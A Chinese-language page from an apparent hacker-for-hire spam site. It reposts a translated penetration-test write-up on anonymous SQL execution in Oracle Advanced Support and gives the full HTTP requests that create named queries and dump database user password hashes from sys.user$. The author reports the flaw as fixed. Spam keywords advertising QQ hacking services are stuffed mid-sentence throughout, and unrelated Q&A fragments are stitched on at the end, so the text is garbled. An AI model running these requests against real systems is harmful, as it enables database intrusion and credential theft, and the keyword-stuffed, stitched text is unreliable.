首页 黑客接单正文

先破解后接单的qq黑客-有没有比较好的算命网站-Oracle Advanced Support系统SQL注入漏洞挖掘经验分享

hacker 黑客接单 2020-11-13 215 2

有木有比较好的算命网站-Oracle Advanced Support系统软件SQL注入系统漏洞发掘心得分享

Oracle Advanced Support系统软件SQL注入系统漏洞剖析

一年多前我还在顾客的一个外部环境中实行渗透测试,一切外部环境渗透测试的关键流程之一便是发掘出可浏览的WEB服务项目。nmap和EveWitness的融合会致这流程越来越更快,由于我们可以开展端口扫描器 而且把这种結果以屏幕截图的方式导到 EyeWitness中。当整理完 EyeWitness出示的屏幕截图网页页面后,我发现一个Oracle 高級适用服务项目。 

尽管我以前从未听过Oracle Advanced Support,可是当我们迅速的google完以后,我掌握到它好像是一个容许oracle的服务支持在外界登陆,而且在oracle系统软件自然环境下开展一切服务支持必须的实际操作的服务项目。拥有这一信息内容以后, 我们可以将目前的web应用检测与它融合起來。

我先破译后接单子的qq黑客们能够对这一运用刚开始开展一些简易的侦察,包含:

找寻早已被曝出的系统漏洞

用burp抓取运用

枚举类型普遍的途径

查询可获得的网页页面的源代码

幸运的是,我还在首页的源代码中发觉了 一个包括财产文件目录明细的连接。

针对像那样一个不明的运用,文件目录目录是很有效的,它让我们了一些期待去发觉一些很趣味 但不应该被浏览到的物品 。不可置否的在寻找每一个文件目录以后,我偶然发现了下列的javascript文档: 

让它越来越更合适阅读文章一些

在Web渗透测试中,在其中一个我很喜欢的而且经常忽略的事儿是搜索运用中的javascript文档, 而且看一下她们是不是适用一切POST 或是是GET要求。

大家早已发觉了一个称为sql-service.js的javascript文档,这要我马上在脑子里提升 起警惕来。这一文件包含4个匿名函数在其中三个t.get *** ON方式的GET要求和一个t.post方式的POST要求。这种涵数包括以下一些自变量:

 

1

2

3

先破译后接单子的qq黑客 4

getSqlData

createNamedSql

getNamedSqlList

getSqlNameList

在本文的剩下一部分,我将谈及匿名函数中的自变量。

每一个涵数的根节点都坐落于/rest/data途径下。

接下去是将她们分拆以后的要求:

 

1

2

3

4

GET /rest/data/sql

先破译后接单子的qq黑客 POST /rest/data/sql

GET /rest/data/sql_list

GET /rest/data/sql_name_list

拥有这种以后,刚开始取出我最喜欢的 *** 工具:burp,看一下会产生哪些!


长驱直入

我更先试着的是来自于getSqlData涵数途径是/rest/data/sql的GET要求。大家也仔细观察javascript发觉这一要求必须额外一个主要参数,使我们在末尾再加上”test”.

 

先破译后接单子的qq黑客 1

2

3

4

HTTP Request:

GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0 

先破译后接单子的qq黑客 HTTP Response:

HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found.

在我们把”test”加到要求url的结尾,缺少对象了404。另外 *** 服务器也回到先破译后接单子的qq黑客了那样一个信息内容:Named SQL not found。如果我们试着”test”以外的别的字符串数组,获得了一样的回到信息内容。大家把这个要求发至Burp 的 intruder控制模块,准备尝试过一个文件目录目录词典来枚举类型潜在性的主要参数名,看一下是不是能获得除开404以外的回到。可是有一个更简易的方式来寻找适合的主要参数名。如果我们再度查询javascript,你能发觉涵数的名字让我们一些有使用价值的信息内容。我们在下列涵数中发觉了2个GET要求:getNamedSqlList 和 getSqlNameList.。大家刚刚的要求回到的错误报告是 Named SQL not found error。使我们试着对于getNamedSqlList涵数的GET要求。 

 

1

先破译后接单子的qq黑客 2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

HTTP Request:

GET /rest/data/sql_list HTTP/1.1

先破译后接单子的qq黑客 Host: host

Connection: close

Accept: application/json;charset=UTF-8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;q=0.8

Content-Type: application/json

Content-Length: 0

先破译后接单子的qq黑客 HTTP Response:

HTTP/1.1 200 OK 

Content-Type: application/json; charset=UTF-8

Connection: close

Content-Length: 243633

先破译后接单子的qq黑客 先破译后接单子的qq黑客 先破译后接单子的qq黑客 先破译后接单子的qq黑客 先破译后接单子的qq黑客[{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME ,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"先破解后接单的qq黑客SELECT result_text, result_value FROM&nbsp;&nbsp; MIG_RPT_TABLE_TRANSFER_METHOD WHERE&nbsp; scenario_id = :scenario_id AND&nbsp; package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nfrom&nbsp; MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND&nbsp;&nbsp; engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{先破解后接单的qq黑客 "id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nFROM&nbsp;&nbsp; MIG_RPT_DATA_COMPRESSION_PCT\nWHERE&先破解后接单的qq黑客 nbsp; scenario_id = :scenario_id\nAND&nbsp;&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND engagement_id =

先破解后接单的qq黑客 先破解后接单的qq黑客先破解后接单的qq黑客 …

这的确给了我们不少的信息,让我们仔细分析一下,我们获得了一组json对象,看一下数组中的之一个对象:

1

先破解后接单的qq黑客 {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]}

我们发现了以下的属性:name, sql, dataSourceJNDI, privileges, and 先破解后接单的qq黑客 paramList,其中 sql属性是我最感兴趣的因为它包含了具有字符串值的SQL语句。我们把name的值放进先前尝试的GET请求中。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

先破解后接单的qq黑客

15

HTTP Request:

GET /rest/data/sql/sample HTTP/1.1

Host: host

Connection: close

Accept: application/json;charset=UTF-8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;q=0.8

先破解后接单的qq黑客 Content-Type: application/json;charset=UTF-8

Content-Length: 0

HTTP Response:

HTTP/1.1 400 Bad Request 

Content-Type: application/json

Content-Length: 44

Connection: close

先破解后接单的qq黑客 Bad Request.Param value not defined for time

Hey!我们得到一些返回!但是我们少了一个参数,让我们加进来。 

 

1

2

3

4

5

6

7

8

9

10

11

12

先破解后接单的qq黑客 13

14

HTTP Request:

GET /rest/data/sql/sample?time=1 HTTP/1.1

Host: host

Connection: close

Accept: application/json;charset=UTF-8

Accept-Encoding: gzip, deflate, sdch

先破解后接单的qq黑客 Accept-Language: en-US,en;q=0.8

Content-Type: application/json;charset=UTF-8

Content-Length: 0

HTTP Response:

HTTP/1.1 200 OK 

Content-Type: application/json; charset=UTF-8

Content-Length: 2

Connection: close

先破解后接单的qq黑客虽然没有从服务器获得任何返回,但是也没有返回任何错误!难道是例子中的SQL语句被执行了,只是没有回显?我们可以继续尝试其他的从先前请求中获得的names,但是我们看一下原始的javascript。我们发现有一个叫做createNamedSQL的函数,它是一个POST的请求。我们知道来至于getNamedSqlList 的请求的返回值包含了sql语句的值。也许是这个post请求会允许我们在服务器上 执行sql查询。我们试一下! 


SQL Execution

这就是createNamedSQL中在包体里面包含一个空json对象的POST请求:

先破解后接单的qq黑客

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

先破解后接单的qq黑客 HTTP Request:

POST /rest/data/sql HTTP/1.1

Host: host

Connection: close

Accept: application/json;charset=UTF-8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;q=0.8

Content-Type: application/json

Content-Length: 0

{}

HTTP Response:

HTTP/1.1 500 Internal Server Error

Content-Type: text/html

Content-Length: 71

Connection: close

先破解后接单的qq黑客 A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q]

我们得到一个关于SQL_NAME列的错误,当我们在包体中包含空的json对象时这不是很意外。现在我们在包体里加入一个随机的属性名和数值。

 

1

2

3

4

5

6

7

8

9

10

11

先破解后接单的qq黑客

12

13

14

15

16

HTTP Request:

POST /rest/data/sql HTTP/1.1

Host: host

Connection: close

Accept-Encoding: gzip, deflate, sdch

先破解后接单的qq黑客 Accept-Language: en-US,en;q=0.8

Content-Length: 16

Content-Type: application/json;charset=UTF-8

{"test":1}

HTTP Response:

HTTP/1.1 400 Bad Request 

Content-Type: text/plain

Content-Length: 365

先破解后接单的qq黑客 Connection: close

Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"]) 

先破解后接单的qq黑客 &nbsp;at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"])

再一次不意外的获得了一个关于未知“test”字段的bad request,但是如果你注意的话,这个错误的信息给我们返回了一些有用的属性。感谢 Oracle先生的服务!这些属性也同样出现了从getNamedSqlList发出请求先破解后接单的qq黑客获得的返回中。我使用getNamedSqlList请求的返回中其中的一个值赋给dataSourceJNDI属性。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

HTTP Request:

先破解后接单的qq黑客 POST /rest/data/sql HTTP/1.1

Host: host

Connection: close

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;q=0.8

Content-Length: 101

Content-Type: application/json;charset=UTF-8

先破解后接单的qq黑客 {

    "name": "test",

    "sql":"select @@version",

    "dataSourceJNDI":"jdbc/portal"

}

这看起来是一个很好的测试请求,我们来见证一下  他是否有效。

 

1

先破解后接单的qq黑客

2

3

4

5

6

HTTP Response:

HTTP/1.1 500 Internal Server Error 

Content-Type: text/plain

Content-Length: 200

Connection: close

先破解后接单的qq黑客 A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI]

我们仍然从服务器获得了一个错误返回,但是只返回了content-type。SQL语句可能已经被创建了。通过把名称字段设为“test”, 让我们尝试之一个具有参数的GET请求。 

 

先破解后接单的qq黑客 1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

HTTP Request:

GET&先破解后接单的qq黑客nbsp;/rest/data/sql/test HTTP/1.1

Host: host

Connection: close

Accept: application/json;charset=UTF-8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;q=0.8

Content-Type: application/json;charset=UTF-8

先破解后接单的qq黑客 Content-Length: 0

HTTP Response:

HTTP/1.1 200 OK 

Content-Type: application/json; charset=UTF-8

Content-Length: 24

Connection: close

[{"@@version":"5.5.37"}]

看这里!我们获得了一些SQL执行。

看一下“我们”是谁。

 

先破解后接单的qq黑客 1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

HTTP Request:

POST /rest/data/sql HTTP/1.1

先破解后接单的qq黑客 Host: host

Connection: close

Accept: **

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;q=0.8

Content-Length: 120

Content-Type: application/json;charset=UTF-8

先破解后接单的qq黑客 {

    "name": "test3",

    "sql":"SELECT name, password FROM sys.user$",

    "dataSourceJNDI":"jdbc/portal"

}

HTTP Request:

GET /rest/data/sql/test3 HTTP/1.1

Host: host

Connection: close

Accept: application/json;charset=UTF-8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;q=0.8

Content-Type: application/json;charset=先破解后接单的qq黑客UTF-8

Content-Length: 0

HTTP Response:

HTTP/1.1 200 OK 

Content-Type: application/json; charset=UTF-8

Content-Length: 5357

Connection: close

[{"NAME":"SYS","PASSWORD":"[REDACTED]&先破解后接单的qq黑客quot;},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null}

先破解后接单的qq黑客 …

我们可以获得数据库中的用户密码的哈希值。我编辑和删除了主要的部分。知道了我们是一个具有administrator权限的用户,当然后续我们还可以做很多事情。然而,针对此博客的目的,我停止下来了。


 

结论

关于这个匿名sql执行我联系了oracle,他们很快的回复并且修复了这个问题。对我而言真正的问题是为什么web服务压根儿就允许sql语句被执行呢? 

这个博客更大的收获是一定要看应用中的javascript文件。在多个web应用和外网的渗透测试中,我已经发现了隐藏在javascript文件中sql 注入,命令执行,和  xml实体注入攻击。 

作为针对熟练渗透测试者的练习任务,看完这篇博客并且统计多少个你能确定的漏洞。提示:超过三处 


 

参考

https://github.com/ChrisTruncer/先破解后接单的qq黑客EyeWitness 

https://nmap.org/ 

https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm 

https://docs.oracle.com/cd/B28359_01/server.111/b28337/tdpsg_user_accounts.htm#TDPSG20000 

https://portswigger.net/burp/help/repeater_using.html 

强悍的黑客出狱后,大公司都会抢着争。尤其是安全部门。年薪上百万。因为强悍的黑客懂的知识领域太广了,而且都很精湛。有没有比较好的算命网站

王者荣耀黑科技刷点卷如果说黑客能不能造成伤亡那个,那肯定是不能,但是对于物质层面或者说精神层面的伤害那一定是不能小觑的。小到在你不知道的情况下窃取你的信息,随意散播。

有没有比较好的算命网站一般不会,黑客都是深藏不露的,因为一般都是不太光彩的事百度啊,上次我在百度加到个,不懂是真是假,他没有说自己是黑客,可能不想暴露吧网站被攻击的原因有很多,重点检查:1、ftp被破解或者密码泄露2、网站本身有漏洞被上传木马对代码进行了篡改加了木马代码,一般都是加密的代码3、后台。

唉!这个怎么能装呢?而且要装黑客!我建议你别装这个,这可是丢脸的哦!

您好 先破解后接单的qq黑客 建议您检查一下是否是硬件问题 如散热不好导致的自动关机 杀毒软件在运行过程中,占用了大部分系统资源 CPU高速计算,温度较高 如果散热差,会导致温度。有没有比较好的算命网站

古代西方哲学家先破解后接单的qq黑客认为构成自然界的物体并衍生万物的物质是水、火、土、风四大元素。地球依著黄道运行其实就是四大元素的流转变化,因此黄道12星座一共分为四。

有没有比较好的算命网站1、建议进入设定-应用程序管理器-全部-互联网-清除数据/清除默认设置尝试。2、尝试登陆不同网站测试3、下载安装其它浏览器登录尝试4、备份好手机中。

标签:

版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。